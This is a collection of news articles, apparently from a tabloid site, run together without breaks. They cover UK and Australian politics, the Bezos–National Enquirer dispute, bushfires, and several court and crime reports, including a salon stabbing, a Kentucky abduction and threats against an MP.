He was also asked if it could have been caused by an accident, fingernail scratching or an infection.

'(The abnormalities) could be explained or are consistent with, in medical terms, genital mutilation,' he said.

He said there was no therapeutic reason for the procedure, which would have been painful and may cause long-term health issues.

One of the girls' stepsisters also gave evidence on Tuesday, revealing she had alerted child protection services about what was allegedly done to the girls in Somalia.

She denied suggestions from defence barrister Patrick Wilson that she encouraged the girls to come forward because of conflict with their mother.

Prosecutors believe the woman arranged the procedure days after arriving in Somalia.

Both girls were conscious for the procedure, the court has heard.

The trial continues.Labours commitment to tackling anti-Semitism was called into question yet again last night.

It emerged that its in-house lawyer, who gives the party confidential advice on disciplinary issues, is a member of a hard-Left group that opposes the globally-accepted definition of anti-Semitism.

Last summer, Labour initially refused to adopt the definition, written by the International Holocaust Remembrance Alliance (IHRA), because senior figures were concerned it would silence criticism of Israel  but relented under pressure from Jewish MPs.

It emerged that Labour's in-house lawyer (Gordon Nardell QC, pictured), who gives the party confidential advice on disciplinary issues, is a member of a hard-Left group that opposes the globally-accepted definition of anti-Semitism

Shadow Chancellor John McDonnell, who is also president of the Labour Representation Committee, revealed that Gordon Nardell QC was a member at the organisations annual conference on Saturday.

Shadow Chancellor John McDonnell (pictured)

Last year, the LRC dismissed claims of anti-Semitism in the Labour Party as ruling class propaganda aimed at preventing Jeremy Corbyn from becoming prime minister.

The Jewish Chronicle reported that Mr McDonnell said Mr Nardell was a brilliant lawyer who provided sound, absolutely sound, and often unchallengeable legal advice on disputes, including those involving allegations of anti-Semitism.

Mr Nardell is Jewish. His role involves giving Labour confidential legal advice but not taking decisions on individual disciplinary cases.

In December, the Jewish Chronicle revealed the LRC had issued a manifesto saying anti-Zionists were being expelled from Labour while more councils are adopting the IHRA definition and examples of anti-Semitism and using it to discipline workers.

Labour revealed on Monday night that it had received 673 allegations of anti-Semitism by its members over the past ten months, leading to 12 individuals being expelled.A French tourist is facing up to three years in jail after allegedly flying a drone of Myanmar's Parliament building.

Michel Desclaux, 27, reportedly flouted the country's strict laws on unmanned aerial vehicles and could be charged with bringing a drone into the country and flying one in a restricted zone.

Mr Desclaux, whose birth name is 'Arthur Desclaux' according to Burmese media, was said to have flown the drone near the Parliament building in Naypyidaw - Myanmar's capital - last week.

Michel Desclaux, 27, whose birth name is Arthur according to Burmese media, faces up to three years in prison

Drones are banned in large parts of the city and in Myanmar's largest city Yangon.

Under the country's legal system, Mr Desclaux now faces up to three months in prison for flying the drone in a restricted zone.

While the crime of bringing a drone into Myanmar illegally carries a maximum sentence of up to three years.

It is not yet known what footage, if any, Mr Desclaux shot with his drone - but police are investigating.

Mr Desclaux was said to have flown the drone near the Parliament building in Naypyidaw (pictured)

Police Capt. Min Tin, said: '[Desclaux] said he flew his drone as this road is wide and very beautiful.

'But we do not know his intention and he could not show us any documents. Therefore, he is charged under the Export and Import Law.'

According to local media, it would have been extremely difficult for Mr Desclaux to have known about the Parliament's restriction on drones.

There is reportedly only a small sign outside the building which explains drones are banned written in Burmese.A scorned ex-boyfriend stabbed a hairdresser to death in front of horrified customers minutes after sending a text saying 'I warned you all'.

Asher Maslin, 25, walked into the La Bella Beauty Salon in Gloucester and knifed Hollie Gazzard, 20, 14 times in February 2014 after she dumped him on Valentine's Day.

Minutes earlier he'd texted the partner of Ms Gazzard's sister Chloe, saying: 'I warned you all.'

Four days before the attack on February 18, Ms Gazzard had split up with Maslin after he got abusive and controlling.

The killer then bombarded the hairdresser with abusive texts, including one that said: 'I don't want to get f****** violent as I'll take it too far.'

Maslin walked into the La Bella Beauty Salon in Gloucester and knifed Hollie Gazzard (pictured), 20, 14 times after she dumped him on Valentine's Day

Maslin, then 22, buying the 3 carving knife from a Wilkinson store that he used to attack on his ex-girlfriend

Ms Gazzard reported him to the police on February 15 after he stole her bank card and withdrew 300 from her account - but officers couldn't find him.

Chilling CCTV aired on last night's Stalked: Murder In Slow Motion documentary series on Channel 5 showed Maslin trading in his DVD player to raise funds to buy the 12-inch kitchen knife he used to kill his ex.

Ms Gazzard had reported him to the police on February 15 after he stole her bank card and withdrew 300 from her account - but officers couldn't find him before he went on to kill her

In the six years before Ms Gazzard's death, Maslin was arrested 23 times for a variety of offences, including domestic violence, criminal damage, possession of Class A drugs and theft.

He was also involved in 24 violent incidents - three involving Ms Gazzard, 12 involving one former partner, two involving another ex, three involving his mother and four against other unconnected people.

Former security guard Maslin, of Cheltenham, was sentenced to life imprisonment and ordered to serve a minimum of 24 years behind bars.

Police apologised after a homicide review revealed that numerous agencies knew about his violent history but didn't share information.

Detective Superintendent Simon Atkinson, head of public protection, said Gloucestershire Police had acknowledged the failings and is making changes.

'I think it is right that we acknowledge that we didn't give a good service and for that we are very sorry,' he said.

'It is 18 months ago and we have done a lot in that time to make sure that we do our best to ensure it does not happen again.

Former security guard Maslin, of Cheltenham, was sentenced to life imprisonment and ordered to serve a minimum of 24 years behind bars.

Police were made aware of two incidents involving Ms Gazzard and Maslin, with the first in July 2013 when CCTV captured him grabbing her by the throat.

On February 15, she called police to report that Maslin had stolen her bank card and taken 300 from her account.

Officers attempted to arrest Maslin that evening but were unable to locate him as he was on a drink, cocaine and crack cocaine binge in London.

He returned to Gloucester and traded in his DVD player for 5 on the afternoon of February 18, using the money to purchase a 3 carving knife from Wilko.

Hours later he went to the salon, demanded to speak to Ms Gazzard and then brutally attacked her.

Maslin's violence against women and contact with several different agencies in Gloucestershire was detailed in an independent domestic homicide review, which was commissioned by Tewkesbury Borough Community Safety Partnership.A female student who was kidnapped by the father of her child after an alleged custody battle have both died following a dramatic shootout in Kentucky.

Skylar Williams, a 20-year-old student from Ohio and her ex-boyfriend Tyrell Pounds, 24, died after being shot late Monday afternoon.

Law enforcement said Williams was abducted at gunpoint from a parking lot at the Ohio State University campus in Mansfield by Pounds on Monday morning.

Kentucky Police confirmed that Skylar Willams (right) and her ex-boyfriend Ty'rell Pounds (left) were killed following a police chase after Pounds abducted her on Monday morning

Police responded to a call about a distressed female believed to be Williams (left) who was forced into a car by Pounds (right) at a gas station in Gallatin County on Monday afternoon

Pounds, 23, was believed to be in a custody battle with Williams over their son, who was said to be safe at the time of his mother's abduction.

In a statement, Kentucky police said they responded to a call about a 'distressed' female, understood to be Williams, being forced into a vehicle by Pounds at a gas station in Gallatin County on Monday.

The caller stated that Williams was asking for help and that the vehicle then sped off traveling towards Interstate 71 Southbound with her inside.

Police said that a car chase ensued southbound on Interstate 71 to Oldham County.

Cops said they intervened when the vehicle exited the highway and ignored responding units. The car then stopped on a ramp shortly afterwards.

A trooper then heard gunfire coming from the vehicle and returned fire, which resulted in the death of Pounds.

Ohio State said that Williams was standing in a parking lot at the campus when she was approached by Pounds at 11.45am on Monday morning. She is pictured with her son

Williams was hit by at least one round of gunfire but it currently remains unclear whether the responding officer or Pounds fatally shot Williams during the dramatic shoot-out.

The police statement read: 'After the vehicle came to rest on the ramp, the trooper attempted to apprehend the suspect.

'While attempting to apprehend the suspect the trooper heard a gunshot coming from within the vehicle which he perceived as an immediate deadly threat to himself and the female passenger.

Williams was believed to be in a custody battle with Williams over their son (pictured)

While attempting to apprehend Pounds, the trooper heard a gunshot coming from his vehicle which he perceived as a deadly threat to himself and to Williams (pictured)

'The trooper drew his service weapon and fired at which time the suspect was struck resulting in his death at the scene.

'During this event, the female passenger was struck by at least one round of gunfire.

'The female was transported by Oldham County EMS to the University of Louisville Hospital where she was pronounced deceased by the Jefferson County Coroner.'

Kentucky State Police Trooper Steven Dykes (pictured) speaks at the scene on Interstate 71 where Ty'rell Pounds and Skylar Williams were shot after a police chase

Pounds exited the interstate at the Pee Wee Valley ramp where he then crossed Highway 329 attempting to reenter the interstate and then stopped (pictured)

Investigators comb the scene of the crime for evidence following the two fatalities

WDRB reported that Kentucky State Police are expected to release more information about what happened.

WDRB video shot at the scene showed shell casings scattered on the ground. There was a lot of damage to the cars involved, including a police cruiser with its side door bent backwards.

According to court documents obtained by News 5, the couple shared a turbulent past, with Pounds filing for a restraining order against Williams in 2018.

Records also show that Pounds filed a motion for visitation of their baby boy this week, but the ruling was never made.

Williams graduated from Madison High School in 2016 and she was remembered as a talented young lady who had a bright future.

Williams' former teacher Laurie Dean (left) claimed she wanted to become a hairstylist and Ohio State University President Michael Drake (right) said his thoughts were with her family

Ty'rell Pounds posted a Facebook post shortly before abducting Williams where he claimed she kept him away from their baby and he didn't want him following 'my bad ways'

Her former teacher Laurie Dean told News 5 that Williams wanted to become a hairstylist and was a pleasure to deal with.

She claimed Williams was with Pounds when she was a student in the high school and other students had warned her to be weary of him.

She revealed: 'She dated him in high school, and I can remember students telling her then, "You should not be with him," and if only she listened.'

She also had a warning for other women in similar relationships, saying: 'Pay attention to warning signs, and if a guy is abusive at all, walk away.'

Madison High Principal Rob Peterson also said: 'Its a very difficult situation to go through.

The crime scene at Ohio State University's Mansfield Campus, around 80 miles south west of Cleveland

'It is typical of the Madison community to rally together and rally around each other.'

Ohio State University President Michael Drake said their thoughts and prayers go to Williams' family.

In a statement Drake said: 'Our Ohio State community suffered a tragic loss with the death of Mansfield student Skylar Williams.

'This senseless and shocking incident has left our campus shaken. We join Mansfield Dean Norman Jones in expressing our condolences and deepest sympathies.'

He said additional counseling and consultation services were made available to members of the university community in need of support on our Mansfield campus.

WMFD previously cited a Facebook post by Pounds which claimed: 'Your mother kept me away from you and I was fighting for you through the court system!!

'Your mother kept teasing and I got overwhelmed, I'm so sorry you have to grow up without us baby!'Five homes have been destroyed in a bushfire that 'took off like a freight train' and has so far destroyed nearly 4,000 hectares of land in northern New South Wales.

The blaze swept through Tabulam, inland from Byron Bay, as a series of bushfires broke out during intense heat on Tuesday, fanned by strong winds.

Another fire near Tingha, three hours from Tabulam, scorched more than 5,600 hectares of land.

Five homes have been destroyed in a bushfire that 'took off like a freight train' and has so far destroyed nearly 4,000 hectares of land in northern New South Wales

The blaze swept through Tabulam, inland from Byron Bay, as a series of bushfires broke out during intense heat on Tuesday, fanned by strong winds

New South Wales police confirmed at least five houses were lost on Wednesday morning and a total fire ban remained in place.

Inspector Ben Shepherd from the Rural Fire Service (RFS) said there were more than 400 firefighters battling 40 fires across New South Wales.

The two out-of-control fires in the state's north-east were being fought by about 100 firefighters each.

Firefighters and water-bombing aircraft were unable to get control of the massive fire as the region was swept with extreme heat and fierce windy conditions, with Tabulam being one of the most affected areas.

Veteran firefighter John Davis was forced to use his experience to save his own home during yesterday's emergency.

'I've been in some pretty big fires but when it comes to your own, it's a different story,' the 72-year-old told the ABC.

'It took off like a freight train. It was roaring and suddenly it was on top of us.'

Another fire near Tingha, three hours from Tabulam, scorched more than 5,600 hectares of land

Few residents were allowed to return to their homes on Tuesday night but were warned about the need to be mindful about monitoring conditions

The second blaze near Tingha, which has a population of 800, was downgraded overnight to 'watch and act' before thousands of hectares of land were wiped out.

Several public schools were closed on Wednesday, including Gilgai Public School, Tingha Public School, Bundarra Central Public School and Kingstown Public School.

Conditions had eased across both fire sites.

Few residents were allowed to return to their homes on Tuesday night but were warned about the need to be mindful about monitoring conditions.California authorities have arrested two brothers linked to the disappearance of 16-year-old Aranda Briones, who has been missing for a month.

Owen Skyler Shover, 18, and Gary Anthony Shover, 21, were arrested by Riverside County Sheriffs Department, authorities said on Tuesday.

SWAT teams arrested the brothers on Monday morning at a home in the town of Hesperia.

Both men are suspected of killing Briones, though her body has yet to be found.

Owen Skyler Shover was booked on suspicion of murder and his brother was arrested on suspicion of second-degree murder and conspiracy to commit a crime.

Gary Anthony Shover (left) and Owen Skyler Shover (right) were arrested Monday morning by a team of SWAT officers in Hesperia, California

The two brothers (Owen is seen left and Gary on the right) are suspected of killing Aranda Briones, 16

Aranda Briones disappeared in Moreno Valley, California, on January 13 after hanging out with friends

The teen's friends said they dropped Briones off at Moreno Valley Community Park around 6pm. She was last seen climbing into a gray four-door sedan

The two men are being held at separate detention facilities.

Owen is being held without bail at Robert Presley Detention Center while Gary is also being held without bail at Southwest Detention Center.

Briones disappeared in Moreno Valley, California, on January 13 after hanging out with friends.

The teen's friends said they dropped Briones off at Moreno Valley Community Park around 6pm.

SWAT teams arrested the brothers on Monday morning at a home in the town of Hesperia. Gary Shover is seen above

She was last seen climbing into a gray four-door sedan, Sheriffs Deputy Mike Vasquez told KTLA-TV.

According to a Facebook page asking the public for help finding Briones, the family last saw the teen when she left her home on January 13 around 2pm.

She then went to meet up with friends before they dropped her off around 6pm that day.

From there an unidentified person claimed to have seen the teen at the 99 cent store across the street from the park.

But investigators who reviewed the surveillance video said they didn't see Briones on any surveillance footage.

The family said Briones' last known location was in Rubidoux, according to her phone's location.

Now, the device is no longer active.

Authorities are asking for the publics help in locating Briones, who has been described as 5ft4in tall and weighing 110 pounds.

Anyone with information about Briones whereabouts is urged to contact Central Homicide Investigator Dickey at 951-955-2777 or Moreno Valley Police Department Investigator Drexler at 951-486-6700.Google and Facebook last night faced two new probes into their opaque advertising business amid Government fears that they are making it impossible for online news publishers to survive.

Culture Secretary Jeremy Wright said he has written to the Competition and Markets Authority, asking the watchdog to investigate the digital advertising market and see whether it prevents fair competition.

And he announced a formal probe by the Department for Digital, Culture, Media and Sport into how online advertising is regulated.

Google and Facebook last night faced two new probes into their opaque advertising business amid Government fears that they are making it impossible for online news publishers to survive

He also took aim at the BBC, calling on regulator Ofcom to consider opening a formal investigation into the size of its online news website. He asked the media watchdog to look at whether the broadcaster is striking the right balance between pushing its own content and driving traffic to commercial news websites.

The investigations come the day after a damning report said online journalism is at risk because of the stranglehold the web giants have on the online advertising business.

The Cairncross Review, commissioned by Theresa May from former journalist Dame Frances Cairncross, called for the CMA and Ofcom inquiries as it warned that Google and Facebook have become too powerful and too secretive.

At the moment, online news providers struggle to make ends meet because Google and Facebook hoover up so much of every pound spent on advertising on news websites.

The web giants keep their algorithms  the computer codes that dictate the order of search results  closely guarded secrets, but even the smallest changes can have a huge impact on the amount of traffic news websites receive and their ability to make money from their content. Google and Facebook control so much of the online advertising market that they can simply impose terms on publishers, Dame Frances said.

Yesterday Mr Wright threw his weight behind her report. In a Commons debate about the review, he said: Online advertising represents a growing part of the economy and forms an important revenue stream for many publishers.

The Cairncross Review, commissioned by Theresa May from former journalist Dame Frances Cairncross, called for the CMA and Ofcom inquiries as it warned that Google and Facebook have become too powerful and too secretive

But this burgeoning market is largely opaque and extremely complex, and therefore it is at present impossible to know whether the revenue shares received by news publishers are fair.

He said the CMA probe would examine whether the online marketplace ... enables or prevents fair competition.

Mr Wright added that his own department will conduct a review into how online advertising is regulated.

Conservative backbenchers called for even more draconian action. Former Tory leader Iain Duncan Smith said the social media giants need to be broken up. This kind of monopoly cartel is damaging to people as individuals, and damaging to the functioning democratic society, he said.

Sir Edward Leigh, MP for Gainsborough, said: I think were being weak with these American tech giants ... they are a monopolistic, anti-competition force in our society.

In her review, Dame Frances said the web giants should have to sign up to a new code of conduct  overseen by a regulator  to ensure they deal with publishers fairly, and Google and Facebook should disclose how much of every pound spent on online advertising reaches the publisher.Scott Morrison is significantly ramping up border security patrols and reopening Christmas Island to guard against a feared influx of asylum-seeker boats.

The prime minister warned changes to fast-track medical evacuations for asylum seekers held offshore, which passed against the government's wishes on Wednesday, could restart the people-smuggling trade.

'My job now is to ensure that the boats don't come,' he said.

'My job now is to do everything within my power, and in the power of the government, to ensure that what the parliament has done to weaken our borders does not result in boats coming to Australia.'

The Christmas Island detention centre (pictured) will be re-opened to deal with any refugee boats arriving in Australia

Scott Morrison made the announcement after the government failed to block a law allowing asylum seekers held offshore to seek medical treatment in Australia

The prime minister denied his ramped up rhetoric played into the hands of people smugglers.

'I'm standing between people smugglers and bringing a boat to Australia,' he said.

Mr Morrison announced the re-opening of Christmas Island as the Senate narrowly passed new laws fast-tracking medical evacuations for asylum seekers, 36 votes to 34.

The transfers only apply to the existing cohort of refugees and asylum seekers on Manus Island and Nauru but the Government has warned the move sends a dangerous signal to people smugglers.

It also sets the stage for an election, due in a few months, fought on border security.

Mr Morrison pledged to reverse the laws if the coalition was re-elected at the poll expected in mid-May.

He argued people smugglers did not deal with the nuance of the 'Canberra bubble' but rather the psychology of messaging about 'stronger' and 'weaker' borders.

Pictured: A file photo of Christmas Island Immigration Detention Centre's entry point

'This puts Australia back on the map for people smugglers and Bill Shorten has that on his shoulders,' Peter Dutton said on Tuesday (file photo)

GOVERNMENT RAMPS UP SECURITY TO DETER PEOPLE SMUGGLERS Police, the military and the Australian Border Force have been working on 'contingency plans' in the event laws related to asylum seekers in offshore detention were changed. Cabinet's National Security Committee met on Wednesday to receive their advice. As a result, a 'range of strengthenings' will be put in place to boost Operation Sovereign Borders. Certain details of the stronger capacity won't be publicly revealed. But the Christmas Island detention facility will be reopened to deal with 'the prospect of arrivals as well as dealing with the prospect of [medivac] transfers'. The Department of Home Affairs will produce an 'implementation report', which could lead to further changes. Advertisement

'It might be all fine and nice to talk about these nuances here in this courtyard,' he said.

'But when you're in a village in Indonesia and someone is selling you a product, there's no protection or truth in advertising for people smugglers.'

The government lost a historic vote in parliament on Tuesday night - the first time a sitting government has lost a vote on its own bill for the first time in 78 years.

The refugee transfer laws were passed in the House of Representatives by 75 votes to 74 after Labor was joined by the Greens and all independents except Bob Katter.

It then passed through the Senate on Wednesday.

Home Affairs Minister Peter Dutton warned the law would leave Australia's borders open to people smugglers.

In a fiery ten-minute exchange with Leigh Sales on the ABC's 7.30 program on Tuesday night, Mr Dutton described the unravelling of his government's border protection policies as a disaster for Australia.

He also claimed Opposition leader Bill Shorten had failed his test in leading the country on border protection.

While Mr Dutton said his government will abide by the legislation passed, he expressed concerns for the consequences of the deal struck between Labor, the Greens and independents.

'This puts Australia back on the map for people smugglers and Bill Shorten has that on his shoulders,' he said.

'I think Mr Shorten doesn't yet understand the full consequence of his decision tonight, but I think the Australian public do.'

Laundry is seen hanging on a the fence at the Christmas Island Detention Centre in 2012

'I believe we will see boats. I think there is no question that people smugglers will be hearing very clearly that the policy in Australia has changed and I think we need to be very cognisant of that.

He also claimed the new bill would allow people being held at Manus or Nauru, who have been charged with serious crimes such as murder and child sex offences, to come to Australia. '

Mr Shorten took to Twitter on Tuesday night to reiterate the bill only applies to people who are already on Manus and Nauru.

'This means the people smugglers don't have a product to sell and can never again resume their trade in human misery,' he tweeted.

'The Australian people understand our nation can be strong on borders and still treat people humanely. We can preserve our national security and still look after people to whom we owe a duty of care. This legislation gets that balance right.'

Asylum seeker laws passed in a historic defeat for the federal government on Tuesday have left Australia's borders open to people smugglers, Home Affairs minister Peter Dutton (pictured) has warned

Opposition leader Bill Shorten and Prime Minister Scott Morrison have differing views over asylum seekers

Mr Dutton refused to answer Sales' questions on the number of asylum seekers on Nauru and Manus charged with serious offences, adding he would only release those details if appropriate.

But later in the evening details concerning four men held offshore who are charged with serious offences and could be transferred to Australia were revealed.

One man suspected of being charged with murder in Iran has a violent history on Manus Island, including the alleged assault of a psychiatrist, The Daily Telegraph reported.

Another man remains in custody in association with a rape of a minor on the island.

A third man on Manus Island allegedly had a sexual relationship with a 14-year-old girl, while a fourth man charged with an indecent act involving a child under the age of 16 is yet to appear in court.

Mr Dutton refused to answer Sales' questions on the number of asylum seekers on Nauru and Manus charged with serious offences, adding he would only release those details if appropriate

Pictured: A view of the Immigration Detention Center on Christmas Island

But Mr Shorten said the bill ensures the government has the power to deny criminals and national security risks entry to Australia.

'Today is such an important day for sick people needing medical care they are unable to receive on Manus Island and Nauru,' independent MP Dr Kerryn Phelps, tweeted.

'Thank you to all of the many people who contributed to this remarkable community campaign. Senate tomorrow.'

Mr Morrison confirmed the laws will be given royal assent in the normal way, but he had some parting words for the opposition leader.

Presenter Leigh Sales (pictured) clashed with Home Minister Peter Dutton several times in a heated exchange when he appeared on ABC's 7.30 on Saturday night

The amendments passed the lower house on Tuesday evening, and will go to the Senate for approval on Wednesday (pictured are asylum seekers on Manus)

'The Australian people have looked at Bill Shorten today and they have found him weak, and he is,' Mr Morrison said.

The prime minister is already promising 'contingency' measures to ensure the new laws don't undermine Operation Sovereign Borders.

'The Labor Party have failed to learn their lessons of failure when they had responsibility for border protection in this country,' Mr Morrison said.

But Mr Shorten said borders can remain strong while the nation also looks after people in Australia's care.

'I believe we can keep our borders secure, we can uphold national security, but still treat people humanely,' Mr Shorten told parliament.Donald Trump claimed he didn't know about plans by American media Inc. to publish explosive details about Jeff Bezos' affair with Lauren Sanchez.

The National Enquirer, which is controlled by AMI, published a story last month that included lurid texts between Bezos and former TV anchor Sanchez.

Bezos, the founder of Amazon and world's richest man, has been investigating how the tabloid obtained his private exchanges with his mistress.

Last week he claimed that AMI threatened to expose his revealing photos if he didn't have his private investigators back off.

Donald Trump (left) said he was unaware that Jeff Bezos (right) was being investigated by the National Enquirer and they planned to publish stories about his extramarital affair

The front page of the January 28 edition of the National Enquirer featuring a story about Amazon founder and CEO Jeff Bezos' divorce which has caused consternation

POTUS, who has feuded with Bezos for years, was asked Tuesday whether he was aware of AMI's investigation and responded, 'No. No, I wasn't.'

The National Enquirer has a history of trying to protect Trump.

The magazine acknowledged paying $150,000 to Playboy centerfold Karen McDougal for the rights to her story about an alleged affair with Trump.

The company then buried the story until after the outcome of the 2016 Presidential election.

Bezos, who is also owner of The Washington Post, detailed his interactions with American Media, in an extraordinary blog post Thursday on Medium.com last week.

The billionaire did not say the tabloid was seeking money - instead, he said, the Enquirer wanted him to make a public statement that the tabloid's coverage was not politically motivated.

Elkan Abramowitz, who represents the publication's parent company American Media Inc. chief executive David Pecker, refuted allegations the story was politically motivated because of Pecker's close friendship with President Trump, who has repeatedly railed against Bezos.

The National Enquirer acknowledged paying $150,000 to Playboy centerfold Karen McDougal for the rights to her story about an alleged affair with Trump

It emerged that Lauren Sanchez' brother Michael admitted that he worked with American Media on its story about Amazon founder Jeff Bezos' affair with his sister while also claiming the billionaire is not being truthful about his divorce.

In an interview with the Fox News show MediaBuzz, Michael Sanchez said that he had been trying to 'soften the blow' of the piece outing the relationship between the world's richest man and his sister.

An investigation by Bezos' security consultant Gavin de Becker determined that Michael had leaked the texts.

Michael has denied that claim, which was first reported by The Daily Beast.

When asked if it was a 'take down' to please Trump, Abramowitz replied on Sunday: 'Any investigator knew it was not the White House.'

Bezos' accusations from earlier in the week added another twist to the high-profile clash between the world's richest man and the leader of America's best-known tabloid.

Bezos' investigators have suggested the Enquirer's coverage of his affair - which included the release of risque texts - was driven by dirty politics.

'Of course I don't want personal photos published, but I also won't participate in their well-known practice of blackmail, political favors, political attacks, and corruption,' Bezos wrote of AMI, in explaining his decision to go public.

'I prefer to stand up, roll this log over, and see what crawls out.'

AMI has admitted in the past that it engaged in what's known as 'catch-and-kill' practices to help Trump become president. Trump has been highly critical of Bezos and the Post's coverage of the White House.

Jeff Bezos and Lauren Sanchez-Whitesell, seen last month, are all smiles as they head out on a lunch date followed by a trip to a spa in Los Angeles

The Bezos affair became public when the Enquirer published a January 9 story about his relationship with Lauren Sanchez (pictured)

The Bezos affair became public when the Enquirer published a January 9 story about his relationship with Sanchez, a former TV anchor who is also married.

Bezos then hired a team of private investigators to find out how the tabloid got the texts and photos the two exchanged.

Several days ago, someone at AMI told Bezos' team that the company's CEO David Pecker was 'apoplectic' about the investigation, Bezos said.

AMI later approached Bezos' representatives with an offer.

'They said they had more of my text messages and photos that they would publish if we didn't stop our investigation,' Bezos wrote.

Bezos wrote that last week, the tabloid's editor, Dylan Howard, emailed an attorney for Bezos' longtime security consultant to describe photos the Enquirer 'obtained during our newsgathering.'

The photos include a 'below the belt selfie' of Bezos, photos of him in tight boxer-briefs and wearing only a towel, and several revealing photos of Sanchez, according to the emails Bezos released.

Elkan Abramowitz, who represents American Media Inc. chief executive David Pecker, said the person who leaked the text messages between Jeff Bezos and his mistress Lauren Sanchez is 'well known' to both of them

Jeff Bezos announced his separation from his wife MacKenzie (pictured) last month

According to the emails, an attorney for AMI offered a formal deal last Wednesday: The tabloid wouldn't post the photos if Bezos and his investigators would release a public statement 'affirming that they have no knowledge or basis' to suggest the Enquirer's coverage was 'politically motivated or influenced by political forces.'

In its initial story, the Enquirer said reporters followed Bezos and Sanchez 'across five states and 40,000 miles' and 'tailed them in private jets, swanky limos, helicopter rides, romantic hikes, five-star hotel hideaways, intimate dinner dates and 'quality time' in hidden love nests.'

It reported that Bezos sent 'sleazy text messages and gushing love notes' to Sanchez, months before Bezos announced he was splitting up with his wife, MacKenzie.

Trump tweeted about Bezos divorce last month and also claimed the emerging details about his extramarital affair was 'going to be a beauty'

When news of the split emerged on January 9, Trump took a swipe at Bezos, saying that as the saga of his extramarital affairs and pending divorce plays out, 'It's going to be a beauty.'

'I wish him luck,' Trump said, twice, when DailyMail.com asked him to comment on the soap opera that has subjected Bezos to a new kind of scrutiny that the president understands from personal experience.

Trump has feuded with Bezos for years, complaining that the e-tailing mogul bought The Washington Post as a way to quietly lobby for his company's interests.

The Post is also among the news outlets Trump resents the most for what he believes is rampant bias in its reporting.

The president has been in Bezos' shoes before, when his marriages with Ivana Trump and Marla Maples fell apart.

A few days later he tweeted: 'So sorry to hear the news about Jeff Bozo being taken down by a competitor whose reporting, I understand, is far more accurate than the reporting in his lobbyist newspaper, the Amazon Washington Post.

'Hopefully the paper will soon be placed in better & more responsible hands!.'Michael Robins was given a community order

A man who sent death threats to Tory MP Anna Soubry has admitted the charged against him.

Michael Robins admitted the malicious communication in a series of telephone calls to her constituency office in Nottinghamshire, at Exeter magistrates court.

The 55-year-old man left voicemail messages for the 62-year-old Conservative ex Minister who was accused 'of being a Nazi' while being interviewed on TV.

Ms Soubry, the pro European MP for Broxtowe who supports another Brexit referendum, was also shouted at and jostled as she tried to return to the Palace of Westminster.

Prosecutor Miss Lyndsey Baker said a constituency case worker found four threatening messages left by the same person in a series of calls from a withheld number between January 13th and 15th - a week after the Nazi incident at Westminster.

She said one made 'a specific reference to a death threat' but all four were 'threatening messages to Anna Soubry'.

Miss Baker said the first message said 'tell Anna Soubry, she will die'.

A second message was 'you stupid woman, Brexit means nothing, you stupid woman'.

A third said: 'Soubry get this. You are going to laugh when you hear this. Theresa May is going to hold a general election in April and we will have left the EU and you will be able to do bugger all. It's hilarious.'

The final recorded message said that any amendments would achieve nothing and he said: 'I think you know that. I think a road sweeper would know that.

'I thought you were a barrister but not a very good one were you.'

Miss Baker said the first message posed a risk to the safety of the MP - unlike the other three.

Robins admitted sending Ms Soubry a telephone answer message which conveyed a threat for the purpose of causing distress or anxiety to the recipient, a charge under the 1988 Malicious Communications Act.

Miss Caroline Salvatore, defending, said: 'Brexit is a highly divisive issue and even politicians have been using language one might find regrettable.'

Death threats were left on a voicemail system in Anna Soubry's office over the MPs Brexit stance - leaving her in fear

Ms Soubry MP has received threats and been shouted at and jostled outside the Palace of Westminster after abuse on TV over Brexit

She said three of the messages were part of the legitimate political debate with the exception of the one telling her 'she will die'.

'It was in the heat of an exchange through a third party. It was not lurid but he showed poor judgement.'

She said Robins was in poor physical health with a heart condition and in constant pain and lived on benefits.

She said: 'He is not a well man.'

And she said his last court appearance was 14 years ago for disorderly behaviour adding that this was 'not a campaign against an MP'.

Exeter magistrates said the calls had caused distress to the case worker who heard them and for the 'intended recipient'.

They gave Robins, of Exeter, Devon, a community order with a condition that he stays at home every night for the next four weeks. And he must pay 170 court costs.A manhunt is underway for a stalker who assaulted and terrorised women at a suburban train station.

The man, understood to have been involved in several attacks, followed his victims from Belmore Railway Station, in Sydney's south west, at the end of 2018.

Police have released several CCTV images of the man they believe could assist with their investigation.

A manhunt is underway for a stalker who assaulted and terrorised women at a suburban train station

Police have released several CCTV images of the man they believe could assist with their investigation

The offending was brought to the attention of police when a 31-year-old woman was attacked on Saturday December 8 after leaving the train station at about 11pm.

She was walking along Leylands Parade, Belmore, when the man walked closely behind her.

The woman became fearful for her safety and ran away.

Two days later the same woman was attacked while walking along Leylands Parade early Monday morning.

The attacker, understood to be the same man, covered the victim's mouth and tried to drag her to a unit complex.

She was able to free herself and call for help as the man escaped the scene.

The man, understood to have been involved in several attacks, followed his victims from Belmore Railway Station, in Sydney's south west, at the end of 2018

The woman reported both attacks to Campsie Police Station and an investigation was established.

Officers reviewed CCTV footage and found the man followed another woman along the same street moments before the reported attack.

The unknown woman appeared to become aware she was being followed and decided to hide in the front yard of a house.

He walked past the house before turning around and walking back to the station.

Officers reviewed CCTV footage and found the man followed another woman along the same street moments before the reported attack

Further enquiries revealed the man was also seen preying on other women at the same train station over a two-hour period on Saturday 22 December (pictured: Belmore Railway Station)

Police wish to speak to the unknown women amid their investigation.

Further enquiries revealed the man was also seen preying on other women at the same train station over a two-hour period on Saturday 22 December.

The man has not been seen at the train station since.

Police are asking anyone with information to come forward and assist with enquiries.Ivanka Trump is making a new appeal for a federal paid family leave program.

The senior adviser to the president, who is also his daughter, will sit down with GOP lawmakers on Wednesday morning to discuss a legislative push she hopes will have bipartisan support.

Trump is meeting with Sens. Bill Cassidy, Marco Rubio, Joni Ernst, Todd Young and Mike Lee on Capitol Hill, sources told DailyMail.com.

Ivanka Trump is making a new appeal for a federal paid family leave program

A Senate Republican aide said that the meeting was put on the books a week ago, around the time of the president's State of the Union speech.

Senators who have been working on the issue are 'pushing to make progress this year on a proposal that has unified Republican support' for a paid leave program, the person said.

President Trump noted in address that he was again including funds for a national leave program for new parents in the annual budget he presents to Congress.

'Now we are seeking to build consensus around policy that can garner enough votes to be passed into law,' Ivanka Trump said Tuesday afternoon in a statement.

The first daughter has made paid family leave one of her passion projects.

She has been working with lawmakers and outside groups on a legislative proposal since her father took office two years ago.

President Trump has crystallized a paid leave policy in each of his State of the Union addresses, but his administration has not succeeded in building a coalition that's broad enough to approve any one potential program.

President Trump noted in last week's State of the Union that he was again including funds for a national leave program for new parents in the annual budget he presents to Congress. His daughter, Ivanka, is seen here applauding during the address

